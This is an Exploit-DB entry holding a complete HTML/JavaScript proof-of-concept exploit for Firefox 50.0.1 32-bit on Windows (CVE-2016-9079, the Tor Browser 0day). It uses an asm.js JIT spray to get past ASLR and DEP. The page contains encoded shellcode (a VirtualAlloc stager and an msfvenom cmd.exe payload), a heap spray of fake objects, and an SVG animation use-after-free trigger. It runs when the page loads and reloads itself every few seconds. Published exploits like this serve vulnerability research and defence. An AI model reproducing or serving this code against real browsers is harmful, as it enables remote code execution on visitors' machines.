EDB-ID: 42327 | Author: Rh0 | Published: 2017-07-14 | CVE: CVE-2016-9079... | Type: Remote | Platform: Windows | Aliases: N/A | Advisory/Source: Link | Tags: N/A | Vulnerable App: N/A |
<!--
FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375)
PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day)
Tested on:
Release 50.0.1 32-bit - Windows 8.1 / Windows 10
https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe
Howto:
1) serve PoC over network and open it in Firefox 50.0.1 32-bit
2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe
A successfull exploit attempt should pop cmd.exe
Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/
(C) Rh0
Jul. 13, 2017
-->
<script async>
function asm_js_module(){
"use asm";
/* huge jitted nop sled */
function payload_code(){
var val = 0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
val = (val + 0xa8909090)|0;
/* 3 byte VirtualAlloc RWX stager */
val = (val + 0xa890db31)|0;
val = (val + 0xa89030b3)|0;
val = (val + 0xa81b8b64)|0;
val = (val + 0xa80c5b8b)|0;
val = (val + 0xa81c5b8b)|0;
val = (val + 0xa8b9006a)|0;
val = (val + 0xa8904c4c)|0;
val = (val + 0xa8902eb1)|0;
val = (val + 0xa85144b5)|0;
val = (val + 0xa8b99090)|0;
val = (val + 0xa8903233)|0;
val = (val + 0xa89045b1)|0;
val = (val + 0xa8514cb5)|0;
val = (val + 0xa8b99090)|0;
val = (val + 0xa8904e52)|0;
val = (val + 0xa8904bb1)|0;
val = (val + 0xa85145b5)|0;
val = (val + 0xa8590e6a)|0;
val = (val + 0xa84fe789)|0;
val = (val + 0xa8086b8b)|0;
val = (val + 0xa820738b)|0;
val = (val + 0xa8471b8b)|0;
val = (val + 0xa82ae349)|0;
val = (val + 0xa890c031)|0;
val = (val + 0xa890ad66)|0;
val = (val + 0xa89c613c)|0;
val = (val + 0xa8077c9d)|0;
val = (val + 0xa890202c)|0;
val = (val + 0xa89c073a)|0;
val = (val + 0xa8d7749d)|0;
val = (val + 0xa890bdeb)|0;
val = (val + 0xa8b9006a)|0;
val = (val + 0xa890636f)|0;
val = (val + 0xa8906cb1)|0;
val = (val + 0xa8516cb5)|0;
val = (val + 0xa8b99090)|0;
val = (val + 0xa890416c)|0;
val = (val + 0xa89075b1)|0;
val = (val + 0xa85161b5)|0;
val = (val + 0xa8b99090)|0;
val = (val + 0xa8907472)|0;
val = (val + 0xa89056b1)|0;
val = (val + 0xa85169b5)|0;
val = (val + 0xa890eb89)|0;
val = (val + 0xa83cc583)|0;
val = (val + 0xa8006d8b)|0;
val = (val + 0xa890dd01)|0;
val = (val + 0xa878c583)|0;
val = (val + 0xa8006d8b)|0;
val = (val + 0xa890dd01)|0;
val = (val + 0xa820458b)|0;
val = (val + 0xa890d801)|0;
val = (val + 0xa890d231)|0;
val = (val + 0xa890e789)|0;
val = (val + 0xa8590d6a)|0;
val = (val + 0xa810348b)|0;
val = (val + 0xa890de01)|0;
val = (val + 0xa890a6f3)|0;
val = (val + 0xa8900de3)|0;
val = (val + 0xa804c283)|0;
val = (val + 0xa890dbeb)|0;
val = (val + 0xa8247d8b)|0;
val = (val + 0xa890df01)|0;
val = (val + 0xa890ead1)|0;
val = (val + 0xa890d701)|0;
val = (val + 0xa890d231)|0;
val = (val + 0xa8178b66)|0;
val = (val + 0xa81c7d8b)|0;
val = (val + 0xa890df01)|0;
val = (val + 0xa802e2c1)|0;
val = (val + 0xa890d701)|0;
val = (val + 0xa8903f8b)|0;
val = (val + 0xa890df01)|0;
val = (val + 0xa890406a)|0;
val = (val + 0xa890c031)|0;
val = (val + 0xa85030b4)|0;
val = (val + 0xa85010b4)|0;
val = (val + 0xa890006a)|0;
val = (val + 0xa890d7ff)|0;
val = (val + 0xa890c931)|0;
val = (val + 0xa89000b5)|0;
val = (val + 0xa890c3b1)|0;
val = (val + 0xa890ebd9)|0;
val = (val + 0xa82434d9)|0;
val = (val + 0xa890e689)|0;
val = (val + 0xa80cc683)|0;
val = (val + 0xa890368b)|0;
val = (val + 0xa85fc683)|0;
val = (val + 0xa890c789)|0;
val = (val + 0xa81e8b66)|0;
val = (val + 0xa81f8966)|0;
val = (val + 0xa802c683)|0;
val = (val + 0xa802c783)|0;
val = (val + 0xa8901e8a)|0;
val = (val + 0xa8901f88)|0;
val = (val + 0xa803c683)|0;
val = (val + 0xa801c783)|0;
val = (val + 0xa803e983)|0;
val = (val + 0xa89008e3)|0;
val = (val + 0xa890cceb)|0;
val = (val + 0xa890e0ff)|0;
val = (val + 0xa824248d)|0;
/* $ msfvenom --payload windows/exec CMD=cmd.exe EXITFUNC=seh */
val = (val + 0xa882e8fc)|0;
val = (val + 0xa8000000)|0;
val = (val + 0xa8e58960)|0;
val = (val + 0xa864c031)|0;
val = (val + 0xa830508b)|0;
val = (val + 0xa80c528b)|0;
val = (val + 0xa814528b)|0;
val = (val + 0xa828728b)|0;
val = (val + 0xa84ab70f)|0;
val = (val + 0xa8ff3126)|0;
val = (val + 0xa8613cac)|0;
val = (val + 0xa82c027c)|0;
val = (val + 0xa8cfc120)|0;
val = (val + 0xa8c7010d)|0;
val = (val + 0xa852f2e2)|0;
val = (val + 0xa8528b57)|0;
val = (val + 0xa84a8b10)|0;
val = (val + 0xa84c8b3c)|0;
val = (val + 0xa8e37811)|0;
val = (val + 0xa8d10148)|0;
val = (val + 0xa8598b51)|0;
val = (val + 0xa8d30120)|0;
val = (val + 0xa818498b)|0;
val = (val + 0xa8493ae3)|0;
val = (val + 0xa88b348b)|0;
val = (val + 0xa831d601)|0;
val = (val + 0xa8c1acff)|0;
val = (val + 0xa8010dcf)|0;
val = (val + 0xa8e038c7)|0;
val = (val + 0xa803f675)|0;
val = (val + 0xa83bf87d)|0;
val = (val + 0xa875247d)|0;
val = (val + 0xa88b58e4)|0;
val = (val + 0xa8012458)|0;
val = (val + 0xa88b66d3)|0;
val = (val + 0xa88b4b0c)|0;
val = (val + 0xa8011c58)|0;
val = (val + 0xa8048bd3)|0;
val = (val + 0xa8d0018b)|0;
val = (val + 0xa8244489)|0;
val = (val + 0xa85b5b24)|0;
val = (val + 0xa85a5961)|0;
val = (val + 0xa8e0ff51)|0;
val = (val + 0xa85a5f5f)|0;
val = (val + 0xa8eb128b)|0;
val = (val + 0xa86a5d8d)|0;
val = (val + 0xa8858d01)|0;
val = (val + 0xa80000b2)|0;
val = (val + 0xa8685000)|0;
val = (val + 0xa86f8b31)|0;
val = (val + 0xa8d5ff87)|0;
val = (val + 0xa80efebb)|0;
val = (val + 0xa868ea32)|0;
val = (val + 0xa8bd95a6)|0;
val = (val + 0xa8d5ff9d)|0;
val = (val + 0xa87c063c)|0;
val = (val + 0xa8fb800a)|0;
val = (val + 0xa80575e0)|0;
val = (val + 0xa81347bb)|0;
val = (val + 0xa86a6f72)|0;
val = (val + 0xa8ff5300)|0;
val = (val + 0xa86d63d5)|0;
val = (val + 0xa8652e64)|0;
val = (val + 0xa8006578)|0;
val = (val + 0xa8909090)|0;
return val|0;
}
return payload_code
}
</script>
<script>
function spray_asm_js_modules(){
sprayed = []
for (var i=0; i<= 0x1800; i++){
sprayed[i] = asm_js_module()
}
}
/* heap spray inspired by skylined */
function heap_spray_fake_objects(){
var heap = []
var current_address = 0x08000000
var block_size = 0x1000000
while(current_address < object_target_address){
var heap_block = new Uint32Array(block_size/4 - 0x100)
for (var offset = 0; offset < block_size; offset += 0x100000){
/* fake object target = ecx + 0x88 and fake vtable*/
heap_block[offset/4 + 0x00/4] = object_target_address
/* self + 4 */
heap_block[offset/4 + 0x14/4] = object_target_address
/* the path to EIP */
heap_block[offset/4 + 0x18/4] = 4
heap_block[offset/4 + 0xac/4] = 1
/* fake virtual function --> JIT target */
heap_block[offset/4 + 0x138/4] = jit_payload_target
}
heap.push(heap_block)
current_address += block_size
}
return heap
}
/* address of fake object */
object_target_address = 0x30300000
/* address of our jitted shellcode */
jit_payload_target = 0x1c1c0054
/* ASM.JS JIT Spray */
spray_asm_js_modules()
/* Spray fake objects */
heap = heap_spray_fake_objects()
/* -----> */
/* bug trigger ripped from bugzilla report */
var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};');
worker.postMessage("zero");
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x88 // Firefox 50.0.1
var exploit = function(){
var u32 = new Uint32Array(block80)
u32[0x4] = arrBase - offset;
u32[0xa] = arrBase - offset;
u32[0x10] = arrBase - offset;
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
for(i = 0; i < heap80.length/2; i++)
{
heap80[i] = block80.slice(0)
}
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
for(i = heap80.length/2; i < heap80.length; i++)
{
heap80[i] = block80.slice(0)
}
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
containerA.pauseAnimations();
}
worker.onmessage = function(e) {arrBase=object_target_address; exploit()}
//worker.onmessage = function(e) {arrBase=0x30300000; exploit()}
var trigger = function(){
containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate')
var idA = "ia";
var idC = "ic";
animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s');
animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end');
animateC.setAttribute('id', idC);
animateC.setAttribute('end', idA + '.end');
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = trigger;
setInterval("window.location.reload()", 3000)
/* <----- */
</script>